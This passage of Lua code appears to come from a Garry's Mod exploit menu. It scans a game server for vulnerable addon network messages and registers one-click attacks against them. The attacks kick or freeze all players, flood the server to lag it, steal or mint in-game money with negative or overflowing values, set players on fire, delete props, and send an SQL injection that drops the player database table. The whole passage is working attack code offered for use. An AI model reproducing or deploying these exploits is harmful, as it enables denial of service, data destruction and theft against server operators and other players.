2931 surface.PlaySound("garrysmod/ui_click.wav")
2932 ECNotify("Starting")
2933
2934 for i = 0, 30 do
2935 net.Start("Kun_ZiptieStruggle")
2936 net.SendToServer()
2937 end
2938 end)
2939 end
2940
2941 status = ValidNetString("JB_Votekick")
2942
2943 if (status) then
2944 ECPrint("Found Exploit: Abuses Jailbreak Votekick [JB_Votekick]")
2945
2946 addExploit("81", "Abuses Jailbreak Votekick", "kick all players", function()
2947 surface.PlaySound("garrysmod/ui_click.wav")
2948 ECNotify("Starting")
2949
2950 for k, v in pairs(player.GetAll()) do
2951 net.Start("JB_Votekick")
2952 net.WriteEntity(v)
2953 net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
2954 net.SendToServer()
2955 end
2956 end)
2957 end
2958
2959 status = ValidNetString("Letthisdudeout")
2960
2961 if (status) then
2962 ECPrint("Found Exploit: ByB Force Bail [Letthisdudeout]")
2963
2964 addExploit("82", "ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
2965 surface.PlaySound("garrysmod/ui_click.wav")
2966 ECNotify("Starting")
2967 net.Start("Letthisdudeout")
2968 net.WriteEntity(LocalPlayer())
2969 net.SendToServer()
2970 end)
2971 end
2972
2973 status = ValidNetString("opr_withdraw")
2974
2975 if (status) then
2976 ECPrint("Found Exploit: Lagger #14 [opr_withdraw]")
2977
2978 addExploit("83", "Lagger #14", "discovered by Leith", function()
2979 surface.PlaySound("garrysmod/ui_click.wav")
2980 ECNotify("Starting")
2981
2982 timer.Create("lagger14", 0, 0, function()
2983 for i = 1, 1000 do
2984 net.Start("opr_withdraw", true)
2985 net.WriteEntity(LocalPlayer())
2986 net.SendToServer()
2987 end
2988 end)
2989 end)
2990 end
2991
2992 status = ValidNetString("NC_GetNameChange")
2993
2994 if (status) then
2995 ECPrint("Found Exploit: Change all names [NC_GetNameChange]")
2996
2997 addExploit("84", "Change all names", "allows you to change the rp names of all players", function()
2998 surface.PlaySound("garrysmod/ui_click.wav")
2999 inputFrameExists = true
3000 inputFrame = vgui.Create("DFrame")
3001 inputFrame:SetTitle("Enter the name")
3002 inputFrame:SetSize(400, 75)
3003 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
3004 inputFrame:SetDraggable(false)
3005 inputFrame:ShowCloseButton(true)
3006 inputFrame:MakePopup()
3007
3008 inputFrame.Paint = function(self, w, h)
3009 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
3010 end
3011
3012 local TextEntry = vgui.Create("DTextEntry", inputFrame)
3013 TextEntry:SetSize(380, 30)
3014 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
3015 TextEntry:SetText("AHAHAHAHAH")
3016
3017 TextEntry.OnEnter = function(self)
3018 surface.PlaySound("garrysmod/ui_click.wav")
3019 ECNotify("Starting")
3020
3021 for k, v in pairs(player.GetAll()) do
3022 net.Start("NC_GetNameChange")
3023 net.WriteEntity(v)
3024 net.WriteString((self:GetValue()))
3025 net.WriteString((self:GetValue()))
3026 net.SendToServer()
3027 end
3028 end
3029 end)
3030 end
3031
3032 status = ValidNetString("revival_revive_accept")
3033
3034 if (status) then
3035 ECPrint("Found Exploit: Reanimation #2 [revival_revive_accept]")
3036
3037 addExploit("85", "Reanimation #2", "instant revival, discovered by Leith", function()
3038 surface.PlaySound("garrysmod/ui_click.wav")
3039
3040 if not timer.Exists("exploit_revive") then
3041 ECNotify("Enabled")
3042
3043 timer.Create("exploit_revive", 0.5, 0, function()
3044 if not LocalPlayer():Alive() then
3045 net.Start("revival_revive_accept")
3046 net.SendToServer()
3047 end
3048 end)
3049 else
3050 timer.Remove("exploit_revive")
3051 ECNotify("Disabled")
3052 end
3053 end)
3054 end
3055
3056 status = ValidNetString("join_disconnect")
3057
3058 if (status) then
3059 ECPrint("Found Exploit: Lagger #15 [join_disconnect]")
3060
3061 addExploit("86", "Lagger #15", "b1g lags my duder", function()
3062 surface.PlaySound("garrysmod/ui_click.wav")
3063 ECNotify("Starting")
3064
3065 if not timer.Exists("lagger15") then
3066 timer.Create("lagger15", 0.5, 0, function()
3067 for i = 1, 3000 do
3068 net.Start("join_disconnect", true)
3069 net.WriteEntity(table.Random(player.GetAll()))
3070 net.SendToServer()
3071 end
3072 end)
3073 else
3074 timer.Remove("lagger15")
3075 ECNotify("Stopping")
3076 end
3077 end)
3078 end
3079
3080 status = ValidNetString("BuyFirstTovar")
3081
3082 if (status) then
3083 ECPrint("Found Exploit: Free Physgun [BuyFirstTovar]")
3084
3085 addExploit("87", "Free Physgun", "get physgun", function()
3086 surface.PlaySound("garrysmod/ui_click.wav")
3087 ECNotify("Take physgun")
3088 net.Start("BuyFirstTovar")
3089 net.WriteString("0")
3090 net.SendToServer()
3091 end)
3092 end
3093
3094 status = ValidNetString("BuySecondTovar")
3095
3096 if (status) then
3097 ECPrint("Found Exploit: Free Gravitygun [BuySecondTovar]")
3098
3099 addExploit("88", "Free Gravitygun", "get gravitygun", function()
3100 surface.PlaySound("garrysmod/ui_click.wav")
3101 ECNotify("Take gravitygun")
3102 net.Start("BuySecondTovar")
3103 net.WriteString("0")
3104 net.SendToServer()
3105 end)
3106 end
3107
3108 status = ValidNetString("MONEY_SYSTEM_GetWeapons")
3109
3110 if (status) then
3111 ECPrint("Found Exploit: Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
3112
3113 addExploit("89", "Give Weapons #2", "get weapons", function()
3114 surface.PlaySound("garrysmod/ui_click.wav")
3115 ECNotify("Starting")
3116
3117 for i = 1, 32 do
3118 net.Start("MONEY_SYSTEM_GetWeapons")
3119 net.WriteInt(i, 8)
3120 net.SendToServer()
3121 end
3122 end)
3123 end
3124
3125 status = ValidNetString("MCon_Demote_ToServer")
3126
3127 if (status) then
3128 ECPrint("Found Exploit: Demote All Players #2 [MCon_Demote_ToServer]")
3129
3130 addExploit("90", "Demote All Players #2", "demote all players", function()
3131 surface.PlaySound("garrysmod/ui_click.wav")
3132 ECNotify("Starting")
3133
3134 for k, v in pairs(player.GetAll()) do
3135 net.Start("MCon_Demote_ToServer")
3136 net.WriteString(v:SteamID())
3137 net.SendToServer()
3138 end
3139 end)
3140 end
3141
3142 status = ValidNetString("withdrawMoney")
3143
3144 if (status) then
3145 ECPrint("Found Exploit: Steal All Monies #3 [withdrawMoney]")
3146
3147 addExploit("91", "Steal All Monies #3", "withdraw money from all printers, discovered by Leith", function()
3148 surface.PlaySound("garrysmod/ui_click.wav")
3149 ECNotify("Starting")
3150
3151 for k, v in pairs(ents.GetAll()) do
3152 net.Start("withdrawMoney")
3153 net.WriteEntity(v)
3154 net.SendToServer()
3155 end
3156 end)
3157 end
3158
3159 status = ValidNetString("withdrawMoney")
3160
3161 if (status) then
3162 ECPrint("Found Exploit: Lagger #16 [withdrawMoney]")
3163
3164 addExploit("92", "Lagger #16", "discovered by Leith", function()
3165 surface.PlaySound("garrysmod/ui_click.wav")
3166 ECNotify("Starting")
3167
3168 timer.Create("lagger16", 0, 0, function()
3169 for i = 1, 1000 do
3170 net.Start("withdrawMoney", true)
3171 net.WriteEntity(LocalPlayer())
3172 net.SendToServer()
3173 end
3174 end)
3175 end)
3176 end
3177
3178 status = ValidNetString("SyncPrinterButtons76561198027292625")
3179
3180 if (status) then
3181 ECPrint("Found Exploit: Steal All Monies #4 [SyncPrinterButtons76561198027292625]")
3182
3183 addExploit("93", "Steal All Monies #4", "withdraw money from all printers", function()
3184 surface.PlaySound("garrysmod/ui_click.wav")
3185 ECNotify("Starting")
3186
3187 for k, v in pairs(ents.GetAll()) do
3188 net.Start("SyncPrinterButtons76561198027292625")
3189 net.WriteEntity(v)
3190 net.WriteUInt(2, 4)
3191 net.SendToServer()
3192 end
3193 end)
3194 end
3195
3196 status = ValidNetString("gPrinters.retrieveMoney")
3197
3198 if (status) then
3199 ECPrint("Found Exploit: Steal All Monies #5 [gPrinters.retrieveMoney]")
3200
3201 addExploit("94", "Steal All Monies #5", "withdraw money from all printers, discovered by Leith", function()
3202 surface.PlaySound("garrysmod/ui_click.wav")
3203 ECNotify("Starting")
3204
3205 for k, v in pairs(ents.GetAll()) do
3206 net.Start("gPrinters.retrieveMoney")
3207 net.WriteEntity(v)
3208 net.SendToServer()
3209 end
3210 end)
3211 end
3212
3213 status = ValidNetString("gPrinters.retrieveMoney")
3214
3215 if (status) then
3216 ECPrint("Found Exploit: Lagger #17 [gPrinters.retrieveMoney]")
3217
3218 addExploit("95", "Lagger #17", "discovered by Leith", function()
3219 surface.PlaySound("garrysmod/ui_click.wav")
3220 ECNotify("Starting")
3221
3222 timer.Create("lagger17", 0, 0, function()
3223 for i = 1, 1000 do
3224 net.Start("gPrinters.retrieveMoney", true)
3225 net.WriteEntity(LocalPlayer())
3226 net.SendToServer()
3227 end
3228 end)
3229 end)
3230 end
3231
3232 status = ValidNetString("NGII_TakeMoney")
3233
3234 if (status) then
3235 ECPrint("Found Exploit: Steal All Monies #6 [NGII_TakeMoney]")
3236
3237 addExploit("96", "Steal All Monies #6", "withdraw money from all printers", function()
3238 surface.PlaySound("garrysmod/ui_click.wav")
3239 ECNotify("Starting")
3240
3241 for k, v in pairs(ents.GetAll()) do
3242 net.Start("NGII_TakeMoney")
3243 net.WriteEntity(v)
3244 net.WriteEntity(LocalPlayer())
3245 net.SendToServer()
3246 end
3247 end)
3248 end
3249
3250 status = ValidNetString("money_clicker_withdraw")
3251
3252 if (status) then
3253 ECPrint("Found Exploit: Lagger #18 [money_clicker_withdraw]")
3254
3255 addExploit("97", "Lagger #18", "discovered by Leith", function()
3256 surface.PlaySound("garrysmod/ui_click.wav")
3257 ECNotify("Starting")
3258
3259 timer.Create("lagger18", 0, 0, function()
3260 for i = 1, 1000 do
3261 net.Start("money_clicker_withdraw", true)
3262 net.WriteEntity(LocalPlayer())
3263 net.SendToServer()
3264 end
3265 end)
3266 end)
3267 end
3268
3269 status = ValidNetString("opr_withdraw")
3270
3271 if (status) then
3272 ECPrint("Found Exploit: Steal All Monies #7 [opr_withdraw]")
3273
3274 addExploit("98", "Steal All Monies #7", "withdraw money from all printers", function()
3275 surface.PlaySound("garrysmod/ui_click.wav")
3276 ECNotify("Starting")
3277
3278 for k, v in pairs(ents.GetAll()) do
3279 net.Start("opr_withdraw")
3280 net.WriteEntity(v)
3281 net.SendToServer()
3282 end
3283 end)
3284 end
3285
3286 status = ValidNetString("NET_DoPrinterAction")
3287
3288 if (status) then
3289 ECPrint("Found Exploit: Steal All Monies #8 [NET_DoPrinterAction]")
3290
3291 addExploit("99", "Steal All Monies #8", "withdraw money from all printers", function()
3292 surface.PlaySound("garrysmod/ui_click.wav")
3293 ECNotify("Starting")
3294
3295 for k, v in pairs(ents.GetAll()) do
3296 if v:GetClass():find("print") then
3297 net.Start("NET_DoPrinterAction")
3298 net.WriteEntity(LocalPlayer())
3299 net.WriteEntity(v)
3300 net.WriteInt(2, 16)
3301 net.SendToServer()
3302 end
3303 end
3304 end)
3305 end
3306
3307 status = ValidNetString("tickbooksendfine")
3308
3309 if (status) then
3310 ECPrint("Found Exploit: Ticket Book [tickbooksendfine]")
3311
3312 addExploit("100", "Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
3313 surface.PlaySound("garrysmod/ui_click.wav")
3314 ECNotify("Starting")
3315 local reasonstable = {"NICE EXPLOIT, RIGHT? discord.gg/2cG6Mcp"}
3316
3317 for k, v in pairs(player.GetAll()) do
3318 if v ~= LocalPlayer() then
3319 net.Start("tickbooksendfine")
3320 net.WriteString(v:SteamID())
3321 net.WriteTable(reasonstable)
3322 net.WriteDouble(3000, 32)
3323 net.SendToServer()
3324 end
3325 end
3326 end)
3327 end
3328
3329 status = ValidNetString("SyncPrinterButtons16690")
3330
3331 if (status) then
3332 ECPrint("Found Exploit: Steal All Monies #9 [SyncPrinterButtons16690]")
3333
3334 addExploit("101", "Steal All Monies #9", "withdraw money from all printers", function()
3335 surface.PlaySound("garrysmod/ui_click.wav")
3336 ECNotify("Starting")
3337
3338 for k, v in pairs(ents.GetAll()) do
3339 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
3340 net.Start("SyncPrinterButtons16690")
3341 net.WriteEntity(v)
3342 net.WriteUInt(2, 4)
3343 net.SendToServer()
3344 end
3345 end
3346 end)
3347 end
3348
3349 status = ValidNetString("withdrawp")
3350
3351 if (status) then
3352 ECPrint("Found Exploit: Steal All Monies #10 [withdrawp]")
3353
3354 addExploit("102", "Steal All Monies #10", "withdraw money from all printers", function()
3355 surface.PlaySound("garrysmod/ui_click.wav")
3356 ECNotify("Starting")
3357
3358 for k, v in pairs(ents.FindByClass("derma_printer")) do
3359 net.Start("withdrawp")
3360 net.WriteEntity(v)
3361 net.SendToServer()
3362 end
3363 end)
3364 end
3365
3366 status = ValidNetString("withdrawp")
3367
3368 if (status) then
3369 ECPrint("Found Exploit: Lagger #19 [withdrawp]")
3370
3371 addExploit("103", "Lagger #19", "discovered by Leith", function()
3372 surface.PlaySound("garrysmod/ui_click.wav")
3373 ECNotify("Starting")
3374
3375 timer.Create("lagger19", 0, 0, function()
3376 for i = 1, 1000 do
3377 net.Start("withdrawp", true)
3378 net.WriteEntity(LocalPlayer())
3379 net.SendToServer()
3380 end
3381 end)
3382 end)
3383 end
3384
3385 status = ValidNetString("DarkRP_SS_Gamble")
3386
3387 if (status) then
3388 ECPrint("Found Exploit: Free Money #3 [DarkRP_SS_Gamble]")
3389
3390 addExploit("104", "Free Money #3", "an exploit in the addon 'DarkRP Casino'", function()
3391 surface.PlaySound("garrysmod/ui_click.wav")
3392 ECNotify("Starting")
3393 net.Start("DarkRP_SS_Gamble")
3394 net.WriteInt(99999, 32)
3395 net.WriteInt(1, 32)
3396 net.WriteInt(0, 32)
3397 net.WriteInt(0, 32)
3398 net.WriteInt(1, 32)
3399 net.SendToServer()
3400 end)
3401 end
3402
3403 status = ValidNetString("PCAdd")
3404
3405 if (status) then
3406 ECPrint("Found Exploit: Delete Promocode [PCAdd]")
3407
3408 addExploit("105", "Delete Promocode", "delete all promocodes", function()
3409 surface.PlaySound("garrysmod/ui_click.wav")
3410 ECNotify("Starting")
3411 net.Start("PCAdd")
3412 net.WriteString("alahman")
3413 net.WriteString("300000000")
3414 net.SendToServer()
3415
3416 timer.Simple(3, function()
3417 net.Start("ActivatePC")
3418 net.WriteString("alahman")
3419 net.SendToServer()
3420 net.Start("PCDelAll")
3421 net.SendToServer()
3422 end)
3423 end)
3424 end
3425
3426 status = ValidNetString("viv_hl2rp_disp_message")
3427
3428 if (status) then
3429 ECPrint("Found Exploit: HL2 Disp Message [viv_hl2rp_disp_message]")
3430
3431 addExploit("106", "HL2 Disp Message", "hl2 voice commands", function()
3432 surface.PlaySound("garrysmod/ui_click.wav")
3433 ECNotify("Starting")
3434
3435 for name, command in pairs(dispatchCommands) do
3436 net.Start("viv_hl2rp_disp_message")
3437 net.WriteString(command)
3438 net.SendToServer()
3439 end
3440 end)
3441 end
3442
3443 status = ValidNetString("Kun_SellDrug")
3444
3445 if (status) then
3446 ECPrint("Found Exploit: Free Money #4 [Kun_SellDrug]")
3447
3448 addExploit("107", "Free Money #4", "get monies", function()
3449 surface.PlaySound("garrysmod/ui_click.wav")
3450
3451 if not timer.Exists("freemoney4") then
3452 ECNotify("Starting")
3453
3454 timer.Create("freemoney4", 0, 0, function()
3455 for i = 1, 1000 do
3456 net.Start("Kun_SellDrug")
3457 net.WriteString("mushroom")
3458 net.SendToServer()
3459 end
3460 end)
3461 else
3462 timer.Remove("freemoney4")
3463 ECNotify("Stopping")
3464 end
3465 end)
3466 end
3467
3468 status = ValidNetString("net_PSUnBoxServer")
3469
3470 if (status) then
3471 ECPrint("Found Exploit: Point Shop Unbox [net_PSUnBoxServer]")
3472
3473 addExploit("108", "Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
3474 surface.PlaySound("garrysmod/ui_click.wav")
3475 ECNotify("Starting")
3476
3477 for k, v in pairs(player.GetAll()) do
3478 local i = 0
3479
3480 for k2, v2 in pairs(PS.Items) do
3481 if not v:PS_HasItem(v2.ID) then
3482 timer.Simple(k * i * 1.7, function()
3483 net.Start("net_PSUnBoxServer")
3484 net.WriteEntity(v)
3485 net.WriteString(v2.ID)
3486 net.SendToServer()
3487 end)
3488
3489 i = i + 1
3490 end
3491 end
3492 end
3493 end)
3494 end
3495
3496 status = ValidNetString("pplay_sendtable")
3497
3498 if (status) then
3499 ECPrint("Found Exploit: ☢ Fuck the SQL database ☢ [pplay_sendtable]")
3500
3501 addExploit("109", "☢ Fuck the SQL database ☢", "fuck all", function()
3502 surface.PlaySound("garrysmod/ui_click.wav")
3503 ECNotify("Starting")
3504 local tbl = {}
3505 tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
3506 tbl.ply = LocalPlayer()
3507 net.Start("pplay_sendtable")
3508 net.WriteTable(tbl)
3509 net.SendToServer()
3510 end)
3511 end
3512
3513 status = ValidNetString("75_plus_win")
3514
3515 if (status) then
3516 ECPrint("Found Exploit: Free Money #5 [75_plus_win]")
3517
3518 addExploit("110", "Free Money #5", "get money", function()
3519 surface.PlaySound("garrysmod/ui_click.wav")
3520 ECNotify("Starting")
3521 net.Start("75_plus_win")
3522 net.WriteString("99999999")
3523 net.WriteEntity(LocalPlayer())
3524 net.SendToServer()
3525 end)
3526 end
3527
3528 status = ValidNetString("ATMDepositMoney")
3529
3530 if (status) then
3531 ECPrint("Found Exploit: Free Money #6 [ATMDepositMoney]")
3532
3533 addExploit("111", "Free Money #6", "an exploit in 'ATM'", function()
3534 surface.PlaySound("garrysmod/ui_click.wav")
3535 ECNotify("Starting")
3536 net.Start("ATMDepositMoney")
3537 net.WriteFloat(-9999999)
3538 net.SendToServer()
3539 end)
3540 end
3541
3542 status = ValidNetString("SellMinerals")
3543
3544 if (status) then
3545 ECPrint("Found Exploit: Free Money #7 [SellMinerals]")
3546
3547 addExploit("112", "Free Money #7", "an exploit in 'eMining'", function()
3548 surface.PlaySound("garrysmod/ui_click.wav")
3549 ECNotify("Starting")
3550
3551 for k, v in pairs(SkillDB) do
3552 if not (v.iSkill == true) then
3553 net.Start("Upgrade")
3554
3555 net.WriteTable({
3556 LuaName = v.LuaName,
3557 Amount = -9999999
3558 })
3559
3560 net.SendToServer()
3561 net.Start("SellMinerals")
3562
3563 net.WriteTable({
3564 Target = LocalPlayer()
3565 })
3566
3567 net.SendToServer()
3568 end
3569 end
3570 end)
3571 end
3572
3573 status = ValidNetString("TakeBetMoney")
3574
3575 if (status) then
3576 ECPrint("Found Exploit: Free Money #8 [TakeBetMoney]")
3577
3578 addExploit("113", "Free Money #8", "get money", function()
3579 surface.PlaySound("garrysmod/ui_click.wav")
3580 ECNotify("Starting")
3581 net.Start("TakeBetMoney")
3582 net.WriteTable({1e333333, 1e333333})
3583 net.SendToServer()
3584 end)
3585 end
3586
3587 status = ValidNetString("Kun_SellOil")
3588
3589 if (status) then
3590 ECPrint("Found Exploit: Free Money #9 [Kun_SellOil]")
3591
3592 addExploit("114", "Free Money #9", "get money", function()
3593 surface.PlaySound("garrysmod/ui_click.wav")
3594 ECNotify("Starting")
3595
3596 for k, v in pairs(ents.GetAll()) do
3597 net.Start("Kun_SellOil")
3598 net.WriteEntity(v)
3599 net.SendToServer()
3600 end
3601 end)
3602 end
3603
3604
3605 status = ValidNetString("DepositMoney")
3606
3607 if (status) then
3608 ECPrint("Found Exploit: Free Money #10 [DepositMoney]")
3609
3610 addExploit("115", "Free Money #10", "get money", function()
3611 surface.PlaySound("garrysmod/ui_click.wav")
3612 ECNotify("Starting")
3613 net.Start("DepositMoney")
3614
3615 for k, v in pairs(ents.GetAll()) do
3616 net.WriteEntity(v)
3617 net.WriteString(-100000000)
3618 net.WriteEntity(LocalPlayer())
3619 net.SendToServer()
3620 end
3621 end)
3622 end
3623
3624 status = ValidNetString("NET_SS_DoBuyTakeoff")
3625
3626 if (status) then
3627 ECPrint("Found Exploit: Free Money #11 [NET_SS_DoBuyTakeoff]")
3628
3629 addExploit("116", "Free Money #11", "get money", function()
3630 surface.PlaySound("garrysmod/ui_click.wav")
3631 ECNotify("Starting")
3632 net.Start("NET_SS_DoBuyTakeoff", true)
3633 net.WriteEntity(LocalPlayer())
3634 net.WriteEntity(table.Random(player.GetAll()))
3635 net.WriteTable({})
3636 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
3637 net.SendToServer()
3638 end)
3639 end
3640
3641 status = ValidNetString("NET_EcSetTax")
3642
3643 if (status) then
3644 ECPrint("Found Exploit: Free Money #12 [NET_EcSetTax]")
3645
3646 addExploit("117", "Free Money #12", "get money", function()
3647 surface.PlaySound("garrysmod/ui_click.wav")
3648 ECNotify("Starting")
3649 net.Start("NET_EcSetTax")
3650 net.WriteInt(-9999999999, 16)
3651 net.SendToServer()
3652 end)
3653 end
3654
3655 status = ValidNetString("RP_Accept_Fine")
3656
3657 if (status) then
3658 ECPrint("Found Exploit: Free Money #13 [RP_Accept_Fine]")
3659
3660 addExploit("118", "Free Money #13", "get money", function()
3661 surface.PlaySound("garrysmod/ui_click.wav")
3662 ECNotify("Starting")
3663
3664 for k, v in pairs(player.GetAll()) do
3665 net.Start("RP_Accept_Fine")
3666 net.WriteString(v:Nick())
3667 net.WriteDouble(-999999999999)
3668 net.SendToServer()
3669 end
3670 end)
3671 end
3672
3673 status = ValidNetString("drugseffect_remove")
3674
3675 if (status) then
3676 ECPrint("Found Exploit: Remove Weapons [drugseffect_remove]")
3677
3678 addExploit("119", "Remove Weapons", "remove all weapons", function()
3679 surface.PlaySound("garrysmod/ui_click.wav")
3680 ECNotify("Starting")
3681 net.Start("drugseffect_remove")
3682 net.SendToServer()
3683 end)
3684 end
3685
3686 status = ValidNetString("drugs_money")
3687
3688 if (status) then
3689 ECPrint("Found Exploit: Remove Money [drugs_money]")
3690
3691 addExploit("120", "Remove Money", "remove all money", function()
3692 surface.PlaySound("garrysmod/ui_click.wav")
3693 ECNotify("Starting")
3694 net.Start("drugs_money")
3695 net.SendToServer()
3696 end)
3697 end
3698
3699 status = ValidNetString("CRAFTINGMOD_SHOP")
3700
3701 if (status) then
3702 ECPrint("Found Exploit: Free Money #14 [CRAFTINGMOD_SHOP]")
3703
3704 addExploit("121", "Free Money #14", "an exploit in 'crafting mod'", function()
3705 surface.PlaySound("garrysmod/ui_click.wav")
3706 ECNotify("Starting")
3707 net.Start("CRAFTINGMOD_SHOP")
3708
3709 net.WriteTable({
3710 BUY = -9999999,
3711 type = 1
3712 })
3713
3714 net.WriteInt(1, 16)
3715 net.SendToServer()
3716 end)
3717 end
3718
3719 status = ValidNetString("drugs_ignite")
3720
3721 if (status) then
3722 ECPrint("Found Exploit: Fire Players [drugs_ignite]")
3723
3724 addExploit("122", "Fire Players", "", function()
3725 surface.PlaySound("garrysmod/ui_click.wav")
3726 ECNotify("Starting")
3727 net.Start("drugs_ignite")
3728 net.WriteString("player")
3729 net.SendToServer()
3730 end)
3731 end
3732
3733 status = ValidNetString("drugs_ignite")
3734
3735 if (status) then
3736 ECPrint("Found Exploit: Fire Props [drugs_ignite]")
3737
3738 addExploit("123", "Fire Props", "", function()
3739 surface.PlaySound("garrysmod/ui_click.wav")
3740 ECNotify("Starting")
3741 net.Start("drugs_ignite")
3742 net.WriteString("prop_physics")
3743 net.SendToServer()
3744 end)
3745 end
3746
3747 status = ValidNetString("drugseffect_hpremove")
3748
3749 if (status) then
3750 ECPrint("Found Exploit: Change HP [drugseffect_hpremove]")
3751
3752 addExploit("124", "Change HP", "", function()
3753 surface.PlaySound("garrysmod/ui_click.wav")
3754 ECNotify("Starting")
3755 net.Start("drugseffect_hpremove")
3756 net.WriteString(99999)
3757 net.SendToServer()
3758 end)
3759 end
3760
3761 status = ValidNetString("drugs_text")
3762
3763 if (status) then
3764 ECPrint("Found Exploit: Delete All Props #2 [drugs_text]")
3765
3766 addExploit("125", "Delete All Props #2", "", function()
3767 surface.PlaySound("garrysmod/ui_click.wav")
3768 ECNotify("Starting")
3769 net.Start("drugs_text")
3770 net.WriteString("prop_physics")
3771 net.SendToServer()
3772 end)
3773 end
3774
3775 status = ValidNetString("drugs_give")
3776
3777 if (status) then
3778 ECPrint("Found Exploit: Give Everyone RPG [drugs_give]")
3779
3780 addExploit("126", "Give Everyone RPG", "", function()
3781 surface.PlaySound("garrysmod/ui_click.wav")
3782 ECNotify("Starting")
3783 net.Start("drugs_give")
3784 net.WriteString("weapon_rpg")
3785 net.SendToServer()
3786 end)
3787 end
3788
3789 status = ValidNetString("drugs_text")
3790
3791 if (status) then
3792 ECPrint("Found Exploit: Remove Water [drugs_text]")
3793
3794 addExploit("127", "Remove Water", "", function()
3795 surface.PlaySound("garrysmod/ui_click.wav")
3796 ECNotify("Starting")
3797 net.Start("drugs_text")
3798 net.WriteString("func_water_analog")
3799 net.SendToServer()
3800 end)
3801 end
3802
3803 status = ValidNetString("drugs_effect")
3804
3805 if (status) then
3806 local eye = LocalPlayer():GetEyeTrace().Entity
3807 local send = "del|" .. eye:EntIndex()
3808 ECPrint("Found Exploit: Remove looking at [drugs_effect]")
3809
3810 addExploit("128", "Remove looking at", "", function()
3811 surface.PlaySound("garrysmod/ui_click.wav")
3812 ECNotify("Starting")
3813 net.Start("drugs_effect")
3814 net.WriteString(send)
3815 net.SendToServer()
3816 end)
3817 end
3818
3819 status = ValidNetString("RecKickAFKer")
3820
3821 if (status) then
3822 ECPrint("Found Exploit: Kick Everyone #2 [RecKickAFKer]")
3823
3824 addExploit("129", "Kick Everyone #2", "kick all players", function()
3825 surface.PlaySound("garrysmod/ui_click.wav")
3826 ECNotify("Starting")
3827
3828 for k, v in pairs(player.GetAll()) do
3829 net.Start("RecKickAFKer")
3830 net.WriteEntity(v)
3831 net.SendToServer()
3832 end
3833 end)
3834 end
3835
3836 status = ValidNetString("GMBG:PickupItem")
3837
3838 if (status) then
3839 ECPrint("Found Exploit: Loot Items [GMBG:PickupItem]")
3840
3841 addExploit("130", "Loot Items", "", function()
3842 surface.PlaySound("garrysmod/ui_click.wav")
3843 ECNotify("Starting")
3844
3845 for k, v in pairs(ents.GetAll()) do
3846 if v:GetClass() == "item_loot" then
3847 net.Start("GMBG:PickupItem")
3848 net.WriteEntity(v)
3849 net.SendToServer()
3850 net.Start("GMBG:PickupItem")
3851 net.WriteEntity(v)
3852 net.SendToServer()
3853 net.Start("GMBG:PickupItem")
3854 net.WriteEntity(v)
3855 net.SendToServer()
3856 net.Start("GMBG:PickupItem")
3857 net.WriteEntity(v)
3858 net.SendToServer()
3859 net.Start("GMBG:PickupItem")
3860 net.WriteEntity(v)
3861 net.SendToServer()
3862 net.Start("GMBG:PickupItem")
3863 net.WriteEntity(v)
3864 net.SendToServer()
3865 end
3866 end
3867 end)
3868 end
3869
3870 status = ValidNetString("plyWarning")
3871
3872 if (status) then
3873 ECPrint("Found Exploit: Kick Everyone #3 [plyWarning]")
3874
3875 addExploit("131", "Kick Everyone #3", "kick all players", function()
3876 surface.PlaySound("garrysmod/ui_click.wav")
3877 ECNotify("Starting")
3878
3879 for k, v in pairs(player.GetAll()) do
3880 net.Start('plyWarning')
3881 net.WriteEntity(v)
3882 net.WriteString('You have to select a player before doing a action.')
3883 net.SendToServer()
3884 end
3885 end)
3886 end
3887
3888 status = ValidNetString("NLR.ActionPlayer")
3889
3890 if (status) then
3891 ECPrint("Found Exploit: Freeze Everyone [NLR.ActionPlayer]")
3892
3893 addExploit("132", "Freeze Everyone", "", function()
3894 surface.PlaySound("garrysmod/ui_click.wav")
3895 ECNotify("Starting")
3896
3897 for k, v in pairs(player.GetAll()) do
3898 net.Start("NLR.ActionPlayer")
3899 net.WriteEntity(v)
3900 net.SendToServer()
3901 end
3902 end)
3903 end
3904
3905 status = ValidNetString("kart_sell")
3906
3907 if (status) then
3908 ECPrint("Found Exploit: Free Money #15 [kart_sell]")
3909
3910 addExploit("133", "Free Money #15", "get money", function()
3911 surface.PlaySound("garrysmod/ui_click.wav")
3912 ECNotify("Starting")
3913
3914 for i = 1, 300 do
3915 net.Start("kart_sell")
3916 net.WriteString("sw_gokart")
3917 net.SendToServer()
3918 end
3919 end)
3920 end
3921
3922 status = ValidNetString("ClickerAddToPoints")
3923
3924 if (status) then
3925 ECPrint("Found Exploit: Free Points [ClickerAddToPoints]")
3926
3927 addExploit("134", "Free Points", "", function()
3928 surface.PlaySound("garrysmod/ui_click.wav")
3929 ECNotify("Starting")
3930 net.Start("ClickerAddToPoints")
3931 net.WriteInt(99999999, 32)
3932 net.SendToServer()
3933 end)
3934 end
3935
3936 status = ValidNetString("bodyman_model_change")
3937
3938 if (status) then
3939 ECPrint("Found Exploit: Body Groups [bodyman_model_change]")
3940
3941 addExploit("135", "Body Groups", "constantly changes your appearance", function()
3942 surface.PlaySound("garrysmod/ui_click.wav")
3943 ECNotify("Starting")
3944 local PM = 1
3945 local SK = 1
3946 local BG = 1
3947 local HN = 1
3948 local TS = 1
3949 local GL = 1
3950 local LG = 1
3951
3952 if not timer.Exists("bodygroups") then
3953 timer.Create("bodygroups", 0, 0, function()
3954 PlayerModels = {0, 1, 2, 3, 4, 5, 6}
3955 Torso = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3956 Legs = {0, 1, 2, 3, 4, 5, 6}
3957 Hands = {0, 1, 2}
3958 Glasses = {0, 1}
3959 Skins = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3960 PM = PM + 1
3961 TS = TS + 1
3962 LG = LG + 1
3963 HN = HN + 1
3964 GL = GL + 1
3965 SK = SK + 1
3966
